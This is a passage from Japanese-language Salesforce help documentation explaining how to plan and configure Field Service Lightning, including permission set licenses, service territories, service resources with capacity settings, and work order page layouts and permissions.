• 作業指示の価格設定のしくみ
• 作業指示の Apex コードサンプル

Field Service Lightning の設定
• Field Service Lightning の設定

– Field Service Lightning の有効化
– Field Service Lightning 権限セットの割り当て
– Field Service Lightning 管理パッケージの設定
– サービステリトリーの設定

• サービステリトリー設定の定義
• サービステリトリーの作成

– サービス人員の設定
• サービス人員の作成

– 作業指示の設定
• 作業指示設定の定義
• 作業種別の作成
• 作業指示の作成
• 作業指示での優先サービス人員の選択
• サービス予約の作成

– フィールドサービスのスキルの設定
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スキル設定の定義•

• スキルの作成
• サービス人員へのスキルの割り当て
• 作業指示または作業種別への必須スキルの追加

– 業務時間の作成
– Field Service Lightning レポートの作成

ガイドラインおよび参照情報
• Field Service Lightning のガイドライン

– サービス予約の使用に関するガイドライン
– サービス人員の使用に関するガイドライン
– サービステリトリーの使用に関するガイドライン
– 作業指示の使用に関するガイドライン
– 作業指示でのナレッジの使用に関するガイドライン

• Field Service Lightning オブジェクト項目
– サービス予約の項目
– サービス人員の項目
– サービステリトリーの項目
– 作業指示項目
– 作業指示品目の項目
– 作業種別の項目
– リンク済み記事の項目
– 業務時間の項目
– フィールドサービスのスキルの項目

3265

Field Service Lightning ヘルプカスタマーサポートツールの設定および管理



フィールドサービス Lightning

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

• Field Service Lightning 機
能を使用可能なエディ
ション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、および
Developer Edition
(Service Cloud 付属)。作
業指示は Professional
Edition でも使用できま
す。

• 有料オプションで Field
Service Lightning 管理
パッケージを使用可能
なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、およ
び Developer Edition
(Service Cloud 付属)。

フィールドサービスを 1 か所で管理したい場合、強力な一連の機能が含まれる
Field Service Lightning を使用して、Salesforce でフィールドサービスハブを設定およ
びカスタマイズできます。
Field Service Lightningには次の機能があり、ビジネスニーズに合わせて選択できま
す。
• Field Service Lightning標準機能は、組織で Field Service Lightningが有効になってい

る場合に使用できます。標準機能では次の内容が提供されます。
– 作業指示管理:作業指示は、顧客に対して実行するタスクを表します。作

業指示にナレッジ記事を添付し、作業指示品目というサブタスクに分割
し、マイルストンを使用してサービスレベル契約の条件を追跡できます。
サービス予約は、作業指示および作業指示品目に関連付け、予約スケ
ジュールに関する詳細を含めることができます。また、時間を節約でき
る作業種別というテンプレートにより、作業指示を標準化できます。

– 人員管理:サービス人員とは、フィールドサービス作業を実行できるユー
ザのことです。サービス人員をサービス予約に割り当て、各人員のスキ
ル、サービステリトリー、および業務時間を指定できます。サービステ
リトリーは、フィールドサービス作業を実行できる地域を表します。テ
リトリーにサービス人員を割り当て、テリトリー階層を作成できます。

– スケジュール管理:業務時間で、サービス人員が作業可能な時間、および
サービステリトリーで作業を実行可能な時間を定義できます。サービス
人員の不在を追跡することもできます。

• Field Service Lightning 管理パッケージは標準機能で構築され、次のツールがあ
ります。
– 技術者のスキルレベル、移動時間、場所、その他の要素を管理し、最も

効率的な方法で予約に人員を割り当てる、スケジュールオプティマイザ
– スケジュールされたすべてのサービス予約の概観ビューを派遣担当者とスーパーバイザに提供する、動

的なスケジュール設定コンソール
– 理想的なスケジュール設定モデルの定義に使用できる、作業ルールおよびスケジュール設定ポリシーの

堅牢なツールボックス
– スケジュール設定と表示設定を簡単にカスタマイズできる、標準トリガ

Field Service Lightning には、インストールから修理やメンテナンスまで、すべてのフィールドサービス作業を計
画、実行、追跡するツールが用意されています。では始めましょう。

関連トピック:

Field Service Lightning の計画
Field Service Lightning の設定
Field Service Lightning の考慮事項
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Field Service Lightning の計画

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

• Field Service Lightning 機
能を使用可能なエディ
ション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、および
Developer Edition
(Service Cloud 付属)。作
業指示は Professional
Edition でも使用できま
す。

• 有料オプションで Field
Service Lightning 管理
パッケージを使用可能
なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、およ
び Developer Edition
(Service Cloud 付属)。

強力な一連の機能が含まれるField Service Lightningでは、固有のフィールドサービ
スニーズに合わせて機能をカスタマイズできます。Field Service Lightningを設定す
る前に、次の重要な計画に関する質問について考慮します。
追跡するフィールドサービスタスクの種別は何か?

予約の多くに類似するタスクがある場合、作業種別と呼ばれる作業指示テン
プレートを作成することをお勧めします。各作業種別で、各種別の予約にか
かる時間とその予約を完了するために必要なスキルを指定できます。これに
より、作業種別から設定を継承する作業指示または作業指示品目をすばやく
作成できます。作業種別により時間を節約し、フィールドサービス作業を標
準化できます。

技術者のスキルをどのように追跡するか?

スキルを組織のすべてのサービス人員に割り当て、その人員の認定と専門分
野を示すことができます。各人員のスキルレベルを 0 ～ 99.99 で指定すること
もできます。たとえば、清水さんにレベル 50 の「溶接」スキルを割り当てる
とします。さらに、必須スキルを作業種別、作業指示、および作業指示品目
に追加し、作業の完了に必要なスキルを派遣担当者が把握できるようにしま
す。
スキル機能を使用する場合、追跡するスキルと、スキルレベルの判定方法を
決定します。たとえば、スキルレベルに、経験年数、認定レベル、またはラ
イセンスクラスを反映させることができます。

テリトリーをどのようにモデル化するか?

チームが作業する地域を表すサービステリトリーを組織で作成できます。テ
リトリーには独自の業務時間と子テリトリーがあり、サービス人員をメン
バーとしてテリトリーに割り当てることができます。
Salesforce でサービステリトリーを使用する場合、作成するテリトリーを決定
します。ビジネスの形態に応じて、都道府県、市区郡、またはその他の要素に基づいたテリトリーを作成
できます。

チームのカレンダーをどのように管理するか?

サービス人員には所属する各サービステリトリーの業務時間があり、そのテリトリーで作業できる時間が
示されます。同様に、サービステリトリーの業務時間により、そのテリトリーでいつ予約を実施できるか
が示されます。人員の業務時間がテリトリーで定義されていない場合、その人員のサービステリトリーの
業務時間が継承されます。人員の不在は、詳細ページの [不在] 関連リストで追跡されます。
スケジュールされたサービス予約、不在、および業務時間を確認してサービス人員のスケジュールを評価
できますが、Field Service Lightning管理パッケージを使用していない場合、個々のサービス人員のカレンダー
ビューは使用できません。

カスタマイズ可能なディスパッチャコンソールと自動的なスケジュールの最適化は必要か?

必要な場合、Field Service Lightning 管理パッケージの使用を検討します。このパッケージは標準の Field Service

Lightning 機能で構築され、次のツールがあります。
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• 技術者のスキルレベル、移動時間、場所、その他の要素を管理し、最も効率的な方法で予約に人員を割
り当てる、スケジュールオプティマイザ

• スケジュールされたすべてのサービス予約の概観ビューを派遣担当者とスーパーバイザに提供する、動
的なスケジュール設定コンソール

• 理想的なスケジュール設定モデルの定義に使用できる、作業ルールおよびスケジュール設定ポリシーの
堅牢なツールボックス

• スケジュール設定と表示設定を簡単にカスタマイズできる、標準トリガ
顧客にサービスの進捗状況を追跡する方法を提供するか?

提供する場合、Salesforceタブ + Visualforce テンプレートを使用して作成したコミュニティに標準のField Service

Lightningオブジェクト (作業指示など) を追加できます。作業指示、作業指示品目、およびサービス予約のみ
をカスタマーサービス (Napili) テンプレートを使用して作成したコミュニティで使用できます。顧客に必要
な情報のみが表示されるように、コミュニティで表示される項目を確認してください。

関連トピック:

Field Service Lightning の考慮事項
Field Service Lightning の設定
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Field Service Lightning の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

• Field Service Lightning 機
能を使用可能なエディ
ション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、および
Developer Edition
(Service Cloud 付属)。作
業指示は Professional
Edition でも使用できま
す。

• 有料オプションで Field
Service Lightning 管理
パッケージを使用可能
なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、およ
び Developer Edition
(Service Cloud 付属)。

ビジネスニーズに合わせて Field Service Lightning を設定します。

重要: 始める前に、必要な情報を確認しましょう。次のセクションを参照
することをお勧めします。
• Field Service Lightning の計画
• Field Service Lightning の考慮事項

1. Field Service Lightning の有効化
作業指示、サービス予約などのフィールドサービス機能の使用を開始するに
は、Field Service Lightning を有効にします。

2. Field Service Lightning 権限セットの割り当て
チームに Field Service Lightning 機能へのアクセス権を付与するには、権限セッ
トライセンスを使用して必要なオブジェクト権限をユーザに割り当てます。

3. サービステリトリーの設定
サービステリトリーは、フィールドサービスを実行できる地域を表します。
サービステリトリー設定を定義し、ビジネスプロセスに適合するテリトリー
を作成する方法について説明します。

4. サービス人員の設定
サービス人員は、フィールドサービス作業を実行できる Salesforce ユーザを表
します。サービス人員を作成し、人員のスキルと対応可能状況を追跡する方
法について説明します。

5. 作業指示の設定
作業指示は、お客様の商品で実施する作業を表します。作業指示の設定を構
成し、作業種別と呼ばれる、時間節約のテンプレートを作成する方法を習得
してください。

6. フィールドサービスのスキルの設定
サービス人員にスキルを割り当て、その人員が実行できる作業種別を示します。特定のスキルを持つ人員
のみが作業に割り当てられるように、必須スキルを作業指示および作業種別に追加することもできます。

7. 業務時間の作成
業務時間を定義して、サービステリトリー、サービステリトリーメンバー、または取引先に割り当て、
フィールドサービス時間を指定します。

8. Field Service Lightning レポートの作成
レポートタイプを作成し、組織のフィールドサービスの進捗状況を追跡します。
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9. Field Service Lightning 管理パッケージの設定
Field Service Lightning管理パッケージは Salesforce の標準フィールドサービス機能で構築され、派遣担当者と技
術者に豊富で高度にカスタマイズ可能な機能を提供します。

関連トピック:

Field Service Lightning のガイドライン
フィールドサービス Lightning

Field Service Lightning の有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

• Field Service Lightning 機
能を使用可能なエディ
ション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、および
Developer Edition
(Service Cloud 付属)。作
業指示は Professional
Edition でも使用できま
す。

• 有料オプションで Field
Service Lightning 管理
パッケージを使用可能
なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、およ
び Developer Edition
(Service Cloud 付属)。

ユーザ権限

Field Service Lightning を有
効にする
• 「アプリケーションの

カスタマイズ」

作業指示、サービス予約などのフィールドサービス機能の使用を開始するには、
Field Service Lightning を有効にします。
1. [設定] から、[クイック検索] ボックスに「Field Service 設定」と入力し、

[Field Service 設定] をクリックします。
2. [Field Service Lightning を有効化] をクリックします。
3. 必要に応じて、ユーザが所有またはフォローしている作業指示や作業指示品

目に対して次のいずれかのアクションが発生したときに、Salesforce1 および
Lightning Experienceユーザのアプリケーション内通知を有効にするオプション
を選択します。
• テキストまたはファイル投稿が追加された
• 追跡項目が更新された
• レコード所有者が変更された
• 関連するサービス予約の人員割り当てが変更された

メモ: 作業指示のフィード追跡設定ですべての関連オブジェクトを追跡
するオプションが選択されている場合、作業指示の子レコード (サービ
ス予約など) が作成または削除されたときにもユーザに通知されます。

4. 作業指示のテンプレートである作業種別を設定するときに、作業種別に関連
付けられた新しい作業指示または作業指示品目に自動的にサービス予約を追
加することを選択できます。必要に応じて、自動作成されるサービス予約の
[期日] に、期日となる作成日からの経過日数を指定します。

Field Service Lightning を有効にすると、Salesforce で次のタブを使用できるようにな
ります。
• 作業種別: 作業指示を標準化するために役立つテンプレート。
• サービス予約: 顧客のフィールドサービス作業を実行するための予約。予約

の完了に必要な人員数、必要なスキル、および予約スケジュールを指定でき
ます。

• サービステリトリー: フィールドサービスを実行できる地域。テリトリーに
人員を割り当て、テリトリー階層を作成できます。
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• サービス人員: フィールドサービス作業を実行するユーザ。人員をサービス予約に割り当て、各人員のスキ
ル、サービステリトリーなどを指定できます。

• 業務時間: サービステリトリー、サービス人員、および取引先に定義できるフィールドサービス時間。
Field Service Lightningを有効にすると、サポートされている機能での地理コード (位置データ) も有効になります。
詳細は、「Field Service Lightning での場所の追跡」を参照してください。

メモ:

• Field Service Lightning の追加機能である作業指示は、Field Service Lightning が有効化されているかどうかに
関わらず使用できます。

• スケジュールの最適化、対話型のディスパッチャコンソールなどが含まれる Field Service Lightning 管理
パッケージは、有料オプションで提供されます。

Field Service Lightning 権限セットの割り当て
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

権限セットライセンスを
割り当てる
• 「ユーザの管理」

権限セットを作成する
• 「プロファイルと権限

セットの管理」

チームにField Service Lightning機能へのアクセス権を付与するには、権限セットラ
イセンスを使用して必要なオブジェクト権限をユーザに割り当てます。
次の 3 つの Field Service Lightning 権限セットライセンスを使用できます。

含まれるオブジェクト権限ライセンス名

以下に対する「参照」、「編集」、
「作成」、および「削除」

Field Service Standard

• サービス予約
• サービス人員
• サービステリトリー
• 業務時間
• 作業種別

以下に対する「参照」、「編集」、
「作成」、および「削除」

Field Service Dispatcher

• サービス予約
• サービス人員
• サービステリトリー
• 業務時間
• 作業種別
Field Service Lightning 管理パッケージが
インストールされている場合、この権
限セットライセンスを持つユーザは
ディスパッチャコンソールにアクセス
できます。
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含まれるオブジェクト権限ライセンス名

以下に対する「参照」、「編集」、「作成」、および
「削除」

Field Service Scheduling

• サービス予約
• サービス人員
• サービステリトリー
• 業務時間
• 作業種別
Field Service Lightning 管理パッケージがインストールさ
れている場合、この権限セットライセンスを持つユー
ザはスケジュールの最適化に含まれます。

1. 各Field Service Lightningライセンスに対して権限セットを作成します。権限セットを作成すると、ライセンス
を持つユーザにオブジェクト権限が付与されます。
a. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択します。
b. [新規] をクリックします。
c. 権限セットの表示ラベル、API 参照名、および説明を入力します。シンプルにするため、関連付ける権

限セットライセンスと同じ名前にすることをお勧めします。
d. 対応する Field Service Lightning 権限セットライセンスを選択します。
e. [保存] をクリックします。
f. 各Field Service Lightning権限セットライセンスの権限セットを作成するまで、上記の手順を繰り返します。

2. Field Service Lightning 機能にアクセスする必要があるユーザに、作成した権限セットを割り当てます。権限
セットを割り当てると、関連付けられた権限セットライセンスが自動的にユーザに割り当てられます。
a. 作成した権限セットに移動します。
b. [割り当ての管理] をクリックします。
c. [割り当てを追加] をクリックし、権限セットが必要なユーザを選択します。
d. [割り当て] をクリックします。

メモ: ユーザが作業指示にアクセスする場合、Field Service Lightning 権限セットは必要ありません。
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サービステリトリーの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービステリトリーは、フィールドサービスを実行できる地域を表します。サー
ビステリトリー設定を定義し、ビジネスプロセスに適合するテリトリーを作成
する方法について説明します。

1. サービステリトリー設定の定義
ユーザがサービステリトリーを操作する方法を制御します。

2. サービステリトリーの作成
サービステリトリーを作成し、フィールドサービス作業を追跡して、サービ
ス人員が本拠地の周辺のサービス予約に割り当てられていることを確認しま
す。

サービステリトリー設定の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを編集
し、項目履歴管理を設定
する
• 「アプリケーションの

カスタマイズ」

ユーザを作成および編集
する
• 「内部ユーザの管理」

ユーザがサービステリトリーを操作する方法を制御します。

メモ: Field Service Lightning が組織で有効になっている必要があります。
1. ユーザ権限を割り当てます。

必要な権限ユーザが実行する操作

「アプリケーションのカスタマイズ」Field Service Lightning の有効化

サービステリトリーに対する「参照」[サービステリトリー] タブとサービ
ステリトリーを参照する

サービステリトリーに対する「作成」サービステリトリーを作成またはコ
ピーする

サービステリトリーに対する「編集」サービステリトリーを編集する

サービステリトリーに対する「削除」サービステリトリーを削除する

サービス人員に対する「編集」サービステリトリーメンバーを作成
する

2. [サービステリトリー] タブがユーザに表示されるようにします。
ユーザは [サービステリトリー] タブからサービステリトリーを作成および管
理します。タブをカスタムアプリケーションに追加したり、Salesforce でタブ
を追加するようにユーザに指示したりできます。
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サービステリトリーの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービステリトリーを作
成する
• サービステリトリーに

対する「作成」

サービステリトリーを作成し、フィールドサービス作業を追跡して、サービス
人員が本拠地の周辺のサービス予約に割り当てられていることを確認します。

ヒント: サービステリトリーの階層を作成する場合は、最初に最上位レベ
ルのテリトリーを作成します。

1. [サービステリトリー] タブで、[新規] をクリックします。
2. メンバーをテリトリーに追加したり、作業指示、作業指示品目またはサービ

ス予約に関連付けたりできるようにする場合は、[有効] を選択します。
3. テリトリーの名前と説明を入力します。選択する名前は、フィールドサービ

スビジネスの編成方法によって異なります。たとえば、特定の郡や地区の名
前などになります。

4. 必要に応じて、住所を入力します。テリトリーの本社の住所を入力できま
す。

5. テリトリーがより大きなテリトリーの一部である場合は、上位テリトリーを
選択します。

メモ: サービステリトリーの階層には、合計 500 個までのテリトリーを
含めることができます。

6. テリトリーの業務時間を選択し、テリトリー内のサービス予約を実施するタイミングを指定します。業務
時間を作成する
a. 別のブラウザウィンドウで、[業務時間] タブをクリックして [新規] をクリックします。
b. 名前、説明、およびタイムゾーンを入力します。
c. [保存] をクリックします。
d. 業務時間の [時間枠] 関連リストで、各日の時間枠を作成します。たとえば、業務時間が月曜日～金曜日

の午前 8 時～午後 5 時の場合、1 日あたり 1 個、全体で 5 個の時間枠を作成します。昼休みなどの休憩を
反映するには、1 日に複数の時間枠を作成します。たとえば、月曜日午前 8 時～ 午後 12 時と月曜日
午後 1 時～ 5 時となります。1 日 24 時間、週 7 日の業務時間を確立するには、各曜日の時間枠を作成
し、午前 12 時に始めて午後 11 時 59 分に終了します。

7. [保存] をクリックします。
8. 必要に応じて、[サービステリトリーメンバー] 関連リストでサービス人員をテリトリーに割り当てます。

サービステリトリーメンバーは、テリトリー内で作業できる人員です。サービス人員をまだ作成していな
い場合、人員の詳細ページからサービス人員のテリトリーを定義することもできます。
メンバーを追加するときは、このテリトリーがメンバーのプライマリ、セカンダリ、再配置のどのテリト
リーかを指定します。プライマリテリトリーは通常、人員が最も頻繁に作業するテリトリー (本拠地の周辺
など) であり、セカンダリテリトリーは、必要に応じて予約に割り当て可能なテリトリーです。再配置テリ
トリーは、一時的な異動を表します。

例: テリトリーの階層を作成して、カリフォルニア内のチームが作業するエリアを表すことができます。
カリフォルニアという名前の最上位のテリトリー、カリフォルニア北部、カリフォルニア中部、カリフォル
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ニア南部という名前の 3 つの子テリトリー、およびカリフォルニアの郡に対応する一連の第 3 階層のテリ
トリーを追加します。サービス人員を各郡テリトリーに割り当て、その郡で誰が作業可能かを示します。

関連トピック:

サービステリトリーの使用に関するガイドライン
サービステリトリーの項目

サービス人員の設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービス人員は、フィールドサービス作業を実行できる Salesforce ユーザを表し
ます。サービス人員を作成し、人員のスキルと対応可能状況を追跡する方法に
ついて説明します。

1. サービス人員設定の定義
組織のサービス人員設定とユーザ権限を定義します。

2. サービス人員の作成
サービス人員は、フィールドサービス作業を実行できるユーザです。サービ
ス人員を作成し、サービス予約に割り当てることができるようにします。
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サービス人員設定の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを編集
し、項目履歴管理を設定
する
• 「アプリケーションの

カスタマイズ」

ユーザを作成および編集
する
• 「内部ユーザの管理」

組織のサービス人員設定とユーザ権限を定義します。

メモ: Field Service Lightning が組織で有効になっている必要があります。
1. ページレイアウトをカスタマイズします。

a. サービス人員の詳細ページレイアウトに含める関連リストを決定します。
次の関連リストはフィールドサービス専用です。
• 不在: サービス人員の不在を表示および管理します。
• 業務量: サービス人員の業務量、またはサービス人員が指定された期間

内に作業可能な量を表示および管理します。
• サービス予約: サービス人員に割り当てられているサービス予約を表示

および管理します。
• サービステリトリー: サービス人員が作業できるサービステリトリーを

表示および管理します。
• スキル: サービス人員の認定と専門分野を表すスキルを表示および管理

します。

b. サービス人員ページレイアウトに含める項目を決定します。次の項目は、
必要に応じてレイアウトから削除できます。
• 有効: このオプションを選択すると、人員を作業指示に割り当てること

ができます。サービス追跡の目的のために、人員は削除できないた
め、人員を解任する最適な方法はその人員を無効にすることです。

• 業務量ベース: 業務量ベースの人員は、指定された期間内の特定の時間
または予約数に制限されます。人員の業務量は、[業務量] 関連リストで定義されます。

• 説明: 人員の説明。
• スケジュールの最適化に含める: このオプションを選択すると、サービススケジュールオプティマイザ

での最適化プロセス中にこの人員を作業指示に割り当てることができます。Field Service Lightning管理
パッケージがインストールされている場合にのみ使用します。

2. ユーザ権限を割り当てます。

必要な権限ユーザが実行する操作

「アプリケーションのカスタマイズ」Field Service Lightning の有効化

サービス人員に対する「参照」[サービス人員] タブとサービス人員を参照する

サービス人員に対する「作成」サービス人員を作成する

サービス人員に対する「編集」サービス人員を編集または無効化する

3. [サービス人員] タブがユーザに表示されるようにします。
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ユーザは [サービス人員] タブからサービス人員を作成および管理します。タブをカスタムアプリケーショ
ンに追加したり、Salesforce でタブを追加するようにユーザに指示したりできます。

サービス人員の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービス人員を作成する
• サービス人員に対する

「作成」

サービス人員は、フィールドサービス作業を実行できるユーザです。サービス
人員を作成し、サービス予約に割り当てることができるようにします。
1. [サービス人員] タブで、[新規] をクリックします。
2. 名前と説明を入力します。多くの場合、この名前は関連付けられたユーザの

名前や役職になります。
3. 人員をサービス予約に割り当てられるようにするには、[有効]を選択します。
4. 人員の作業時間や予約期間を制限する場合は、[業務量ベース]を選択します。

契約社員は、[業務量ベース] になることが多いです。
5. Field Service Lightning 管理パッケージとスケジュールオプティマイザを使用し

ている場合、[スケジュールの最適化に含める] を選択して、最適化プロセス
中にスケジュールオプティマイザで人員をサービス予約に割り当てることが
できるようにします。スケジュールオプティマイザに含めることができるの
は、「Field Service Scheduling」権限セットライセンスを持ったユーザのみです。

6. 人員を関連付けるユーザを選択します。
7. 人員が技術者なのか派遣担当者なのかを指定します。派遣担当者である人員

は業務量ベースにすることができません。また、スケジュールの最適化に含
めることもできません。派遣担当者にできるのは、「Field Service Dispatcher」
権限セットライセンスを持ったユーザのみです。

メモ: ユーザが技術者と派遣担当者の両方である場合、2 つのサービス人員レコードを作成できます。

8. [保存] をクリックします。
人員が作成されたら、その能力に関する情報を追加します。
1. [サービステリトリー] 関連リストで、人員が作業可能なテリトリーを選択します。

各テリトリーが人員のプライマリ、セカンダリ、再配置のどのテリトリーかを指定します。プライマリテ
リトリーは通常、人員が最も頻繁に作業するテリトリー (本拠地の周辺など) であり、セカンダリテリトリー
は、必要に応じて予約に割り当て可能なテリトリーです。再配置テリトリーは、一時的な異動を表します。
たとえば、サービス人員に次のテリトリーを設定できます。
• プライマリテリトリー: ウェストシカゴ
• セカンダリテリトリー:

– イーストシカゴ
– サウスシカゴ

• 再配置テリトリー: マンハッタン  (3 か月)

2. 人員が業務量ベースの場合、その業務量を定義します。
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[業務量] 関連リストで、[新規人員の業務量] をクリックします。a.

b. 開始日と終了日を入力し、人員の業務量が有効になるタイミングを指定します。たとえば、業務量が 6

か月の契約を表している場合、契約の開始日と終了日を入力します。
c. 人員がどれぐらい作業できるのかを指定します。

• 業務量のベースとなる [期間]  (時間、日数、月数) を選択します。たとえば、人員が 1 か月あたり 80

時間作業できる場合は [月] を選択します。
• 作業時間に基づいて人員の業務量を決定する場合は、[期間あたりの時間数] を入力します。たとえ

ば、人員が 1 か月あたり 80 時間作業できる場合は「80」と入力します。
• 割り当てられたサービス予約数に基づいて人員の業務量を決定する場合は、[期間あたりの作業項目

数] を入力します。たとえば、人員が 1 か月あたり 20 件の予約を完了できる場合は「20」と入力し
ます。

メモ: Field Service Lightning 管理パッケージを使用していて、業務量を時間と作業項目数の両方で測
定する場合は、両方の値を入力します。時間または作業項目数 (いずれか先に到達した方) に基づい
て、人員の業務量に達しているかどうかが判断されます。

d. [保存] をクリックします。開始日と終了日が重複していなければ、人員に複数の業務量を設定できま
す。

重要: Field Service Lightning 管理パッケージを使用していない場合、業務量はルールではなく推奨事
項として機能します。業務量を超えても人員のスケジュールは可能ですが、人員の業務量を超えた
場合通知はされません。

3. [スキル] 関連リストで、スキルを割り当てて人員の専門分野を示します。詳細は、「サービス人員へのス
キルの割り当て」を参照してください。

関連トピック:

サービス人員の使用に関するガイドライン
サービス人員の項目

作業指示の設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

作業指示は、お客様の商品で実施する作業を表します。作業指示の設定を構成
し、作業種別と呼ばれる、時間節約のテンプレートを作成する方法を習得して
ください。

1. 作業指示設定の定義
ページレイアウト、ユーザ権限などをカスタマイズして、ユーザが作業指示
を操作する方法を制御します。

2. 作業種別の作成
ビジネスにおいて同じ ToDo を複数の顧客に実行している場合があります。
作業種別とは作業指示テンプレートのことで、これを使用すれば効率化や
フィールドサービス作業の標準化が容易になります。
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3. 作業指示の作成
作業指示を作成し、顧客に対して実行する作業を追跡します。

4. 作業指示での優先サービス人員の選択
特定の取引先または作業指示で特定の人員を優先、必須、または除外と指定できます。作業指示は、関連
付けられた取引先の人員設定を継承します。

5. サービス予約の作成
サービス予約を使用すると、顧客向けに実施するフィールドサービス作業を追跡しやすくなります。サー
ビス予約は複数のレコードタイプに関連付けることができます。

作業指示設定の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

ページレイアウトを編集
し、項目履歴管理を設定
する
• 「アプリケーションの

カスタマイズ」

ユーザを作成および編集
する
• 「内部ユーザの管理」

ページレイアウト、ユーザ権限などをカスタマイズして、ユーザが作業指示を
操作する方法を制御します。
1. ページレイアウトをカスタマイズします。

a. ユーザが他のレコードに関連付けられた作業指示を参照および作成でき
るようにするには、[作業指示] 関連リストを他のオブジェクトのページレ
イアウトに追加します。次のオブジェクトのページレイアウトに関連リ
ストを含めることができます。
• 取引先
• 納入商品
• ケース
• 取引先責任者
• エンタイトルメント
• サービス契約
• カスタムオブジェクト

b. ユーザが特定の納入商品に関連付けられている作業指示品目を参照でき
るようにするには、[作業指示品目] 関連リストを [納入商品] ページレイア
ウトに追加します。

c. ユーザがある作業指示を別の作業指示の親として設定できるようにする
には、[親作業指示] 項目と [子作業指示] 関連リストを作業指示ページレ
イアウトに追加します。また、参照のみの [ルート作業指示] 項目を追加
すると、ユーザが作業指示階層の最上位の作業指示を参照できるように
なります。

d. ユーザがある作業指示品目を別の作業指示品目の親として設定できるようにするには、[親作業指示品
目] 項目と [子作業指示品目] 関連リストを作業指示品目ページレイアウトに追加します。また、参照の
みの [ルート作業注文品目] 項目を追加すると、ユーザが作業指示品目階層の最上位の品目を参照でき
るようになります。

e. 作業指示で特定のサービス人員を優先、必須、または除外と指定できるようにするには、作業指示の
ページレイアウトに [人員設定] 関連リストを追加します。取引先に人員設定を定義し、取引先に関連付
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けられたすべての作業指示でその人員設定を継承することもできます。これを行うには、取引先のペー
ジレイアウトにも [人員設定] 関連リストを追加します。

2. ユーザ権限を割り当てます。

権限が自動的に有効化される標準
プロファイル

必要な権限ユーザが実行する操作

システム管理者「アプリケーションのカスタマイ
ズ」

Field Service Lightning の有効化

参照のみ、標準ユーザ、ソリュー
ション管理者、契約管理者、マー

作業指示に対する「参照」[作業指示] タブ、作業指示、およ
び作業指示品目を表示する

ケティングユーザ、およびシステ
ム管理者

標準ユーザ、ソリューション管理
者、契約管理者、マーケティング
ユーザ、およびシステム管理者

作業指示に対する「作成」作業指示を作成またはコピーする

標準ユーザ、ソリューション管理
者、契約管理者、マーケティング
ユーザ、およびシステム管理者

作業指示に対する「編集」作業指示を編集する

システム管理者作業指示に対する「削除」作業指示を削除する

標準ユーザ、ソリューション管理
者、契約管理者、マーケティング
ユーザ、およびシステム管理者

作業指示に対する「編集」作業指示品目を作成、コピー、編
集、削除する

3. [作業指示] タブがユーザに表示されるようにします。
ユーザは、[作業指示] タブから作業指示を作成および管理します。タブをカスタムアプリケーションに追
加したり、Salesforce でタブを追加するようにユーザに指示したりできます。

メモ: 参照のみ、標準ユーザ、ソリューション管理者、契約管理者、マーケティングユーザ、および
システム管理者のユーザプロファイルでは、デフォルトで [作業指示] タブが有効になっています。

4. 必要に応じて、作業指示をナビゲーションタブ項目としてサービスコンソールに追加します。
5. Summer '16 より前に作成された組織で、作業指示にマイルストンを使用する場合は、作業指示の次の項目に

項目レベルセキュリティを設定して、特定のユーザプロファイルにマイルストンを公開します。
• 営業時間
• エンタイトルメント処理終了時刻
• エンタイトルメント処理開始時刻
• 完了
• マイルストン状況
• マイルストン状況アイコン
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• 停止済み
• 中止開始日

ヒント: 項目レベルセキュリティを設定するには、[設定] から、[クイック検索] ボックスに「項目アク
セス許可」と入力し、[項目アクセス許可] をクリックします。[作業指示] をクリックし、[項目ごとの
参照]をクリックしてから、項目を選択します。プロファイルの横にある[非表示]をクリックして、項
目の表示設定を表示および更新します。

6. 必要に応じて、作業指示または作業指示品目の [状況] 選択リストに独自のカスタム値を追加します。[状
況] 項目には次のデフォルト値があります。
• 新規
• 進行中
• 保留中
• 完了
• 完了できません
• クローズ済み
• Canceled

カスタム値を作成する場合、その値の状況カテゴリを選択します。使用可能な状況カテゴリは、デフォル
トの状況値と同じです。たとえば、[応答待機中]  (入力を待機中) という値を作成する場合、それが [保留
中] カテゴリに属するということを指定できます。
